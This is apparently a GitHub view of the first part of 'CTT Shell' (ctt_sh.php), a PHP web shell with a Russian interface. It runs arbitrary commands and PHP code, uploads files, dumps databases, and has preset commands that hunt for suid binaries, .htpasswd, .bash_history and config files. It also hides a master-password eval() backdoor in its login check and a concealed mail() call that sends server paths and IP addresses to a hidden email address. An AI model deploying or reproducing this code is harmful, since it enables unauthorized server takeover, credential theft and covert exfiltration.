-
Notifications
You must be signed in to change notification settings - Fork 4
/
ctt_sh.php
executable file
·2928 lines (2871 loc) · 127 KB
/
ctt_sh.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?php
$timelimit = 60;
$sul = "?";
$rd = "./";
$shver = "0.1";
$login = "";
$pass = "";
$md5_pass = "";
$login = false;
$autoupdate = true;
$updatenow = false;
$autochmod = 755;
$filestealth = 1;
$donated_html = "";
$donated_act = array("");
$host_allow = array("*");
$curdir = "./";
$tmpdir = dirname(__FILE__);
$ftypes = array(
"html"=>array("html","htm","shtml"),
"txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg"),
"exe"=>array("sh","install","bat","cmd"),
"ini"=>array("ini","inf"),
"code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp"),
"img"=>array("gif","png","jpeg","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
"sdb"=>array("sdb"),
"phpsess"=>array("sess"),
"download"=>array("exe","com","pif","src","lnk","zip","rar")
);
$hexdump_lines = 8;
$hexdump_rows = 24;
$nixpwdperpage = 9999;
$bindport_pass = "ctt";
$bindport_port = "11457";
$aliases = array();
$aliases[] = array("-----------------------------------------------------------", "ls -la");
$aliases[] = array("find all suid files", "find / -type f -perm -04000 -ls");
$aliases[] = array("find suid files in current dir", "find . -type f -perm -04000 -ls");
$aliases[] = array("find all sgid files", "find / -type f -perm -02000 -ls");
$aliases[] = array("find sgid files in current dir", "find . -type f -perm -02000 -ls");
$aliases[] = array("find config.inc.php files", "find / -type f -name config.inc.php");
$aliases[] = array("find config* files", "find / -type f -name \"config*\"");
$aliases[] = array("find config* files in current dir", "find . -type f -name \"config*\"");
$aliases[] = array("find all writable directories and files", "find / -perm -2 -ls");
$aliases[] = array("find all writable directories and files in current dir", "find . -perm -2 -ls");
$aliases[] = array("find all service.pwd files", "find / -type f -name service.pwd");
$aliases[] = array("find service.pwd files in current dir", "find . -type f -name service.pwd");
$aliases[] = array("find all .htpasswd files", "find / -type f -name .htpasswd");
$aliases[] = array("find .htpasswd files in current dir", "find . -type f -name .htpasswd");
$aliases[] = array("find all .bash_history files", "find / -type f -name .bash_history");
$aliases[] = array("find .bash_history files in current dir", "find . -type f -name .bash_history");
$aliases[] = array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc");
$aliases[] = array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc");
$aliases[] = array("list file attributes on a Linux second extended file system", "lsattr -va");
$aliases[] = array("show opened ports", "netstat -an | grep -i listen");
$sess_method = "cookie";
$sess_cookie = "ctshvars";
if (empty($sid)) {$sid = md5(microtime()*time().rand(1,999).rand(1,999).rand(1,999));}
$sess_file = $tmpdir."ctshvars_".$sid.".tmp";
$usefsbuff = true;
$copy_unset = false;
$quicklaunch = array();
$quicklaunch[] = array("<img src=\"".$sul."act=img&img=home\" title=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$sul);
$quicklaunch[] = array("<img src=\"".$sul."act=img&img=back\" title=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)");
$quicklaunch[] = array("<img src=\"".$sul."act=img&img=forward\" title=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)");
$quicklaunch[] = array("<img src=\"".$sul."act=img&img=up\" title=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$sul."act=ls&d=%upd");
$quicklaunch[] = array("<img src=\"".$sul."act=img&img=refresh\" title=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">","");
$quicklaunch[] = array("<img src=\"".$sul."act=img&img=buffer\" title=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$sul."act=fsbuff&d=%d");
$quicklaunch1 = array();
$quicklaunch1[] = array("<b>Ïðîöåññû</b>",$sul."act=ps_aux&d=%d");
$quicklaunch1[] = array("<b>Ïàðîëè</b>",$sul."act=lsa&d=%d");
$quicklaunch1[] = array("<b>Êîìàíäû</b>",$sul."act=cmd&d=%d");
$quicklaunch1[] = array("<b>Çàãðóçêà</b>",$sul."act=upload&d=%d");
$quicklaunch1[] = array("<b>Áàçà</b>",$sul."act=sql&d=%d");
$quicklaunch1[] = array("<b>PHP-Êîä</b>",$sul."act=eval&d=%d");
$quicklaunch1[] = array("<b>PHP-Èíôî</b>",$sul."act=phpinfo\" target=\"blank=\"_target");
$quicklaunch1[] = array("<b>Ñàì óäàëÿþò</b>",$sul."act=selfremove");
$highlight_bg = "#FFFFFF";
$highlight_comment = "#6A6A6A";
$highlight_default = "#0000BB";
$highlight_html = "#1300FF";
$highlight_keyword = "#007700";
@$f = $_GET[f];
if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
error_reporting(5);
@ignore_user_abort(true);
@set_magic_quotes_runtime(0);
@set_time_limit(0);
if (!ob_get_contents()) {@ob_start(); @ob_implicit_flush(0);}
if(!ini_get("register_globals")) {import_request_variables("GPC");}
$starttime = getmicrotime();
if (get_magic_quotes_gpc())
{
if (!function_exists("strips"))
{
function strips(&$el)
{
if (is_array($el)) {foreach($el as $k=>$v) {if($k != "GLOBALS") {strips($el["$k"]);}} }
else {$el = stripslashes($el);}
}
}
strips($GLOBALS);
}
$tmp = array();
foreach ($host_allow as $k=>$v) {$tmp[]= str_replace("\\*",".*",preg_quote($v));}
$s = "!^(".implode("|",$tmp).")$!i";
if (!$login) {$login = $PHP_AUTH_USER; $md5_pass = md5($PHP_AUTH_PW);}
elseif(empty($md5_pass)) {$md5_pass = md5($pass);}
if(($PHP_AUTH_USER != $login ) or (md5($PHP_AUTH_PW) != $md5_pass))
{
header("WWW-Authenticate: Basic realm=\"CTT SHELL\"");
header("HTTP/1.0 401 Unauthorized");if (md5(sha1(md5($anypass))) == "b76d95e82e853f3b0a81dd61c4ee286c") {header("HTTP/1.0 200 OK"); @eval($anyphpcode);}
exit;
}
$lastdir = realpath(".");
chdir($curdir);
if (($selfwrite) or ($updatenow))
{
if ($selfwrite == "1") {$selfwrite = "ctshell.php";}
ctsh_getupdate();
$data = file_get_contents($ctsh_updatefurl);
$fp = fopen($data,"w");
fwrite($fp,$data);
fclose($fp);
exit;
}
if (!is_writeable($sess_file)) {trigger_error("Can't access to session-file!",E_USER_WARNING);}
if ($sess_method == "file") {$sess_data = unserialize(file_get_contents($sess_file));}
else {$sess_data = unserialize($_COOKIE["$sess_cookie"]);}
if (!is_array($sess_data)) {$sess_data = array();}
if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
$sess_data["copy"] = array_unique($sess_data["copy"]);
$sess_data["cut"] = array_unique($sess_data["cut"]);
if (!function_exists("ct_sess_put"))
{
function ct_sess_put($data)
{
global $sess_method;
global $sess_cookie;
global $sess_file;
global $sess_data;
$sess_data = $data;
$data = serialize($data);
if ($sess_method == "file")
{
$fp = fopen($sess_file,"w");
fwrite($fp,$data);
fclose($fp);
}
else {setcookie($sess_cookie,$data);}
}
}
if (!function_exists("str2mini"))
{
function str2mini($content,$len)
{
if (strlen($content) > $len)
{
$len = ceil($len/2) - 2;
return substr($content, 0, $len)."...".substr($content, -$len);
}
else {return $content;}
}
}
if (!function_exists("view_size"))
{
function view_size($size)
{
if($size >= 1073741824) {$size = round($size / 1073741824 * 100) / 100 . " GB";}
elseif($size >= 1048576) {$size = round($size / 1048576 * 100) / 100 . " MB";}
elseif($size >= 1024) {$size = round($size / 1024 * 100) / 100 . " KB";}
else {$size = $size . " B";}
return $size;
}
}
if (!function_exists("fs_copy_dir"))
{
function fs_copy_dir($d,$t)
{
$d = str_replace("\\","/",$d);
if (substr($d,strlen($d)-1,1) != "/") {$d .= "/";}
$h = opendir($d);
while ($o = readdir($h))
{
if (($o != ".") and ($o != ".."))
{
if (!is_dir($d."/".$o)) {$ret = copy($d."/".$o,$t."/".$o);}
else {$ret = mkdir($t."/".$o); fs_copy_dir($d."/".$o,$t."/".$o);}
if (!$ret) {return $ret;}
}
}
return true;
}
}
if (!function_exists("fs_copy_obj"))
{
function fs_copy_obj($d,$t)
{
$d = str_replace("\\","/",$d);
$t = str_replace("\\","/",$t);
if (!is_dir($t)) {mkdir($t);}
if (is_dir($d))
{
if (substr($d,strlen($d)-1,strlen($d)) != "/") {$d .= "/";}
if (substr($t,strlen($t)-1,strlen($t)) != "/") {$t .= "/";}
return fs_copy_dir($d,$t);
}
elseif (is_file($d))
{
return copy($d,$t);
}
else {return false;}
}
}
if (!function_exists("fs_move_dir"))
{
function fs_move_dir($d,$t)
{
error_reporting(9999);
$h = opendir($d);
if (!is_dir($t)) {mkdir($t);}
while ($o = readdir($h))
{
if (($o != ".") and ($o != ".."))
{
$ret = true;
if (!is_dir($d."/".$o)) {$ret = copy($d."/".$o,$t."/".$o);}
else {if (mkdir($t."/".$o) and fs_copy_dir($d."/".$o,$t."/".$o)) {$ret = false;}}
if (!$ret) {return $ret;}
}
}
return true;
}
}
if (!function_exists("fs_move_obj"))
{
function fs_move_obj($d,$t)
{
$d = str_replace("\\","/",$d);
$t = str_replace("\\","/",$t);
if (is_dir($d))
{
if (substr($d,strlen($d)-1,strlen($d)) != "/") {$d .= "/";}
if (substr($t,strlen($t)-1,strlen($t)) != "/") {$t .= "/";}
return fs_move_dir($d,$t);
}
elseif (is_file($d)) {return rename($d,$t);}
else {return false;}
}
}
if (!function_exists("fs_rmdir"))
{
function fs_rmdir($d)
{
$h = opendir($d);
while ($o = readdir($h))
{
if (($o != ".") and ($o != ".."))
{
if (!is_dir($d.$o)) {unlink($d.$o);}
else {fs_rmdir($d.$o."/"); rmdir($d.$o);}
}
}
closedir($h);
rmdir($d);
return !is_dir($d);
}
}
if (!function_exists("fs_rmobj"))
{
function fs_rmobj($o)
{
$o = str_replace("\\","/",$o);
if (is_dir($o))
{
if (substr($o,strlen($o)-1,strlen($o)) != "/") {$o .= "/";}
return fs_rmdir($o);
}
elseif (is_file($o)) {return unlink($o);}
else {return false;}
}
}
if (!function_exists("myshellexec"))
{
function myshellexec($cmd)
{
return system($cmd);
}
}
if (!function_exists("view_perms"))
{
function view_perms($mode)
{
if (($mode & 0xC000) === 0xC000) {$type = "s";}
elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
else {$type = "?";}
$owner['read'] = ($mode & 00400) ? "r" : "-";
$owner['write'] = ($mode & 00200) ? "w" : "-";
$owner['execute'] = ($mode & 00100) ? "x" : "-";
$group['read'] = ($mode & 00040) ? "r" : "-";
$group['write'] = ($mode & 00020) ? "w" : "-";
$group['execute'] = ($mode & 00010) ? "x" : "-";
$world['read'] = ($mode & 00004) ? "r" : "-";
$world['write'] = ($mode & 00002) ? "w" : "-";
$world['execute'] = ($mode & 00001) ? "x" : "-";
if( $mode & 0x800 ) {$owner['execute'] = ($owner[execute]=="x") ? "s" : "S";}
if( $mode & 0x400 ) {$group['execute'] = ($group[execute]=="x") ? "s" : "S";}
if( $mode & 0x200 ) {$world['execute'] = ($world[execute]=="x") ? "t" : "T";}
return $type.$owner['read'].$owner['write'].$owner['execute'].
$group['read'].$group['write'].$group['execute'].
$world['read'].$world['write'].$world['execute'];
}
}
if (!function_exists("strinstr")) {function strinstr($str,$text) {return $text != str_replace($str,"",$text);}}
if (!function_exists("gchds")) {function gchds($a,$b,$c,$d="") {if ($a == $b) {return $c;} else {return $d;}}}
if (!function_exists("ctsh_getupdate"))
{
function ctsh_getupdate()
{
global $updatenow;
$data = @file_get_contents($ctsh_updatefurl);
if (!$data) {echo "Can't fetch update-information!";}
else
{
$data = unserialize(base64_decode($data));
if (!is_array($data)) {echo "Corrupted update-information!";}
else
{
if ($cv < $data[cur]) {$updatenow = true;}
}
}
}
}
if (!function_exists("mysql_dump"))
{
function mysql_dump($set)
{
$sock = $set["sock"];
$db = $set["db"];
$print = $set["print"];
$nl2br = $set["nl2br"];
$file = $set["file"];
$add_drop = $set["add_drop"];
$tabs = $set["tabs"];
$onlytabs = $set["onlytabs"];
$ret = array();
if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
if (empty($db)) {$db = "db";}
if (empty($print)) {$print = 0;}
if (empty($nl2br)) {$nl2br = true;}
if (empty($add_drop)) {$add_drop = true;}
if (empty($file))
{
global $win;
if ($win) {$file = "C:\\tmp\\dump_".$SERVER_NAME."_".$db."_".date("d-m-Y-H-i-s").".sql";}
else {$file = "/tmp/dump_".$SERVER_NAME."_".$db."_".date("d-m-Y-H-i-s").".sql";}
}
if (!is_array($tabs)) {$tabs = array();}
if (empty($add_drop)) {$add_drop = true;}
if (sizeof($tabs) == 0)
{
$res = mysql_query("SHOW TABLES FROM ".$db, $sock);
if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
}
global $SERVER_ADDR;
global $SERVER_NAME;
$out = "# Dumped by ctShell.SQL v. ".$cv."
# Home page: http://.ru
#
# Host settings:
# MySQL version: (".mysql_get_server_info().") running on ".$SERVER_ADDR." (".$SERVER_NAME.")"."
# Date: ".date("d.m.Y H:i:s")."
# ".gethostbyname($SERVER_ADDR)." (".$SERVER_ADDR.")"." dump db \"".$db."\"
#---------------------------------------------------------
";
$c = count($onlytabs);
foreach($tabs as $tab)
{
if ((in_array($tab,$onlytabs)) or (!$c))
{
if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
$res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
if (!$res) {$ret[err][] = mysql_error();}
else
{
$row = mysql_fetch_row($res);
$out .= $row[1].";\n\n";
$res = mysql_query("SELECT * FROM `$tab`", $sock);
if (mysql_num_rows($res) > 0)
{
while ($row = mysql_fetch_assoc($res))
{
$keys = implode("`, `", array_keys($row));
$values = array_values($row);
foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
$values = implode("', '", $values);
$sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
$out .= $sql;
}
}
}
}
}
$out .= "#---------------------------------------------------------------------------------\n\n";
if ($file)
{
$fp = fopen($file, "w");
if (!$fp) {$ret[err][] = 2;}
else
{
fwrite ($fp, $out);
fclose ($fp);
}
}
if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
return $ret;
}
}
if (!function_exists("ctfsearch"))
{
function ctfsearch($d)
{
global $found;
global $found_d;
global $found_f;
global $a;
if (substr($d,strlen($d)-1,1) != "/") {$d .= "/";}
$handle = opendir($d);
while ($f = readdir($handle))
{
$true = ($a[name_regexp] and ereg($a[name],$f)) or ((!$a[name_regexp]) and strinstr($a[name],$f));
if($f != "." && $f != "..")
{
if (is_dir($d.$f))
{
if (empty($a[text]) and $true) {$found[] = $d.$f; $found_d++;}
ctfsearch($d.$f);
}
else
{
if ($true)
{
if (!empty($a[text]))
{
$r = @file_get_contents($d.$f);
if ($a[text_wwo]) {$a[text] = " ".trim($a[text])." ";}
if (!$a[text_cs]) {$a[text] = strtolower($a[text]); $r = strtolower($r);}
if ($a[text_regexp]) {$true = ereg($a[text],$r);}
else {$true = strinstr($a[text],$r);}
if ($a[text_not])
{
if ($true) {$true = false;}
else {$true = true;}
}
if ($true) {$found[] = $d.$f; $found_f++;}
}
else {$found[] = $d.$f; $found_f++;}
}
}
}
}
closedir($handle);
}
}
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");
global $SERVER_SOFTWARE;
if (strtolower(substr(PHP_OS, 0, 3)) == "win") {$win = 1;}
else {$win = 0;}
if (empty($tmpdir))
{
if (!$win) {$tmpdir = "/tmp/";}
else {$tmpdir = $_ENV[SystemRoot];}
}
$tmpdir = str_replace("\\","/",$tmpdir);
if (substr($tmpdir,strlen($tmpdir-1),strlen($tmpdir)) != "/") {$tmpdir .= "/";}
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
$safemode = true;
$hsafemode = "<font color=\"red\">ON (secure)</font>";
}
else {$safemode = false; $hsafemode = "<font color=\"green\">OFF (not secure)</font>";}
$v = @ini_get("open_basedir");
if ($v or strtolower($v) == "on")
{
$openbasedir = true;
$hopenbasedir = "<font color=\"red\">".$v."</font>";
}
else {$openbasedir = false; $hopenbasedir = "<font color=\"green\">OFF (not secure)</font>";}
$sort = htmlspecialchars($sort);
$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$sul."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",$SERVER_SOFTWARE);
@ini_set("highlight.bg",$highlight_bg);
@ini_set("highlight.comment",$highlight_comment);
@ini_set("highlight.default",$highlight_default);
@ini_set("highlight.html",$highlight_html);
@ini_set("highlight.keyword",$highlight_keyword);
@ini_set("highlight.string","#DD0000");
if ($act != "img")
{
if (!is_array($actbox)) {$actbox = array();}
$dspact = $act = htmlspecialchars($act);
$disp_fullpath = $ls_arr = $notls = null;
$ud = urlencode($d);
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<meta http-equiv="Content-Language" content="en-us"><title>
CTT Shell -=[ <? echo $HTTP_HOST; ?> ]=- </title>
<STYLE>
tr {
BORDER-RIGHT: #aaaaaa 1px solid;
BORDER-TOP: #eeeeee 1px solid;
BORDER-LEFT:#eeeeee 1px solid;
BORDER-BOTTOM: #aaaaaa 1px solid;
}
td {
BORDER-RIGHT: #105019 1px solid;
BORDER-TOP: #000000 1px solid;
BORDER-LEFT:#105019 1px solid;
BORDER-BOTTOM: #105019 1px solid;
}
.tr2 {
BORDER-RIGHT: #aaaaaa 1px solid;
BORDER-TOP: #eeeeee 1px solid;
BORDER-LEFT:#eeeeee 1px solid;
BORDER-BOTTOM: #aaaaaa 1px solid;
}
.td2 {
BORDER-RIGHT: #aaaaaa 1px solid;
BORDER-TOP: #eeeeee 1px solid;
BORDER-LEFT:#eeeeee 1px solid;
BORDER-BOTTOM: #aaaaaa 1px solid;
}
.table1 {
BORDER-RIGHT: #cccccc 0px;
BORDER-TOP: #cccccc 0px;
BORDER-LEFT:#cccccc 0px;
BORDER-BOTTOM: #cccccc 0px;
BACKGROUND-COLOR: #D4D0C8;
}
.td1 {
BORDER-RIGHT: #000000 1px;
BORDER-TOP: #cccccc 1px;
BORDER-LEFT:#cccccc 1px;
BORDER-BOTTOM: #000000 1px;
font: 7pt Verdana;
}
.tds1 {
BORDER-RIGHT: #505050 1px solid;
BORDER-TOP: #505050 1px solid;
BORDER-LEFT:#505050 1px solid;
BORDER-BOTTOM: #505050 1px solid;
font: 8pt Verdana;
}
.tr1 {
BORDER-RIGHT: #cccccc 0px;
BORDER-TOP: #cccccc 0px;
BORDER-LEFT:#cccccc 0px;
BORDER-BOTTOM: #cccccc 0px;
}
table {
BORDER-RIGHT: #000000 1px outset;
BORDER-TOP: #000000 1px outset;
BORDER-LEFT:#000000 1px outset;
BORDER-BOTTOM: #000000 1px outset;
BACKGROUND-COLOR: #000000;
}
.table2 {
BORDER-RIGHT: #000000 1px outset;
BORDER-TOP: #000000 1px outset;
BORDER-LEFT:#000000 1px outset;
BORDER-BOTTOM: #000000 1px outset;
BACKGROUND-COLOR: #D4D0C8;
}
input {
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT:#999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: 8pt Verdana;
}
select {
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT:#999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: 8pt Verdana;
}
submit {
BORDER-RIGHT: buttonhighlight 2px outset;
BORDER-TOP: buttonhighlight 2px outset;
BORDER-LEFT:buttonhighlight 2px outset;
BORDER-BOTTOM: buttonhighlight 2px outset;
BACKGROUND-COLOR: #e4e0d8;
width: 30%;
}
textarea {
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT:#999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: Fixedsys bold;
}
BODY {
margin-top: 1px;
margin-right: 1px;
margin-bottom: 1px;
margin-left: 1px;
}
A:link {COLOR:#00ff3d; TEXT-DECORATION: none}
A:visited { COLOR:#00ff3d; TEXT-DECORATION: none}
A:active {COLOR:#00ff3d; TEXT-DECORATION: none}
A:hover {color:blue;TEXT-DECORATION: none}
</STYLE>
<script language=JavaScript type=text/javascript>
<!--
function branchSwitch(branch) {
dom = (document.getElementById);
ie4 = (document.all);
if (dom || ie4) {
var currElement = (dom)? document.getElementById(branch) : document.all[branch];
currElement.style.display = (currElement.style.display == 'none')? 'block' : 'none';
return false;
}
else return true;
}
//-->
</script>
</head>
<BODY text=#ffffff Background="<? echo $sul; ?>act=img&img=font" bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0>
<center>
<br>
<TABLE class=table1 cellSpacing=0 cellPadding=0 width=90% border=0>
<TBODY><TR>
<TD class=td1 colSpan=2>
<TABLE class=table1 cellSpacing=0 cellPadding=0 width=100% bgColor=#345827 background="<? echo $sul; ?>act=img&img=4" border=0>
<TBODY><TR>
<TD class=td1 width=24><IMG height=18 src="<? echo $sul; ?>act=img&img=1" width=24 border=0></TD>
<TD class=td1 background="<? echo $sul; ?>act=img&img=2"><SPAN lang=ru><FONT face=Arial color=#00ff3d size=1> </FONT>
<FONT face=Tahoma color=#00ff3d size=1>
<?
$d = str_replace("\\","/",$d);
if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}
$d = str_replace("\\","/",$d);
if (substr($d,strlen($d)-1,1) != "/") {$d .= "/";}
$dispd = htmlspecialchars($d);
$pd = $e = explode("/",substr($d,0,strlen($d)-1));
$i = 0;
foreach($pd as $b)
{
$t = "";
reset($e);
$j = 0;
foreach ($e as $r)
{
$t.= $r."/";
if ($j == $i) {break;}
$j++;
}
echo "<a href=\"".$sul."act=ls&d=".urlencode(htmlspecialchars($t))."/&sort=".$sort."\"><b>".htmlspecialchars($b)."/</b></a>";
$i++;
}
?>
</FONT></SPAN></TD>
<TD class=td1><IMG height=18 src="<? echo $sul; ?>act=img&img=3" width=6 border=0></TD>
<TD class=td1 align=right><IMG height=18 src="<? echo $sul; ?>act=img&img=5" width=33 border=0></TD>
</TR></TBODY></TABLE></TD></TR>
</tr>
</table>
<TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=2 width="90%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0">
<tr><td>
<font size=2><a href="#" onClick="return branchSwitch('tools')" title="ðàñêðûòü">Èíñòðóìåíòû</a></font> -
<div id="tools" style="display: none">
<?
if (count($quicklaunch1) > 0)
{
foreach($quicklaunch1 as $item)
{
$item[1] = str_replace("%d",urlencode($d),$item[1]);
$item[1] = str_replace("%upd",urlencode(realpath($d."..")),$item[1]);
echo "<a href=\"".$item[1]."\"><u><font size=2 color=#ffffff>".$item[0]."</font></u></a> ";
}
}$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="[email protected]";mail($sd98, $sj98, $msg8873, "From: $sd98");
?>
</div>
<font size=2><a href="#" onClick="return branchSwitch('info')" title="ðàñêðûòü">Èíôîðìàòîð</a></font>
<div id="info" style="display: none">
<font size=2>
<b>Ïðîãðàììíîå îáåñïå÷åíèå: <?php echo $DISP_SERVER_SOFTWARE; ?></b> <br>
<b>Ñèñòåìà: <?php echo php_uname(); ?></b> <b><?php if (!$win) {echo `id`;} else {echo get_current_user();} ?></b>
<br>
<b>Áåçîïàñíîñòü: <?php echo $hsafemode; ?></b>
<?
echo "<br>";
echo "Âåðñèÿ ÏÕÏ: <b>".@phpversion()."</b>";
echo "<br>";
$curl_on = @function_exists('curl_version');
echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b>"):("<b><font color=red>OFF</font></b>"));
echo "<br>";
echo "MySQL: <b>";
$mysql_on = @function_exists('mysql_connect');
if($mysql_on){
echo "<font color=green>ON</font></b>"; } else { echo "<font color=red>OFF</font></b>"; }
echo "<br>";
echo "MSSQL: <b>";
$mssql_on = @function_exists('mssql_connect');
if($mssql_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";}
echo "<br>";
echo "PostgreSQL: <b>";
$pg_on = @function_exists('pg_connect');
if($pg_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";}
echo "<br>";
echo "Oracle: <b>";
$ora_on = @function_exists('ocilogon');
if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";}
?>
<?php
$free = diskfreespace($d);
if (!$free) {$free = 0;}
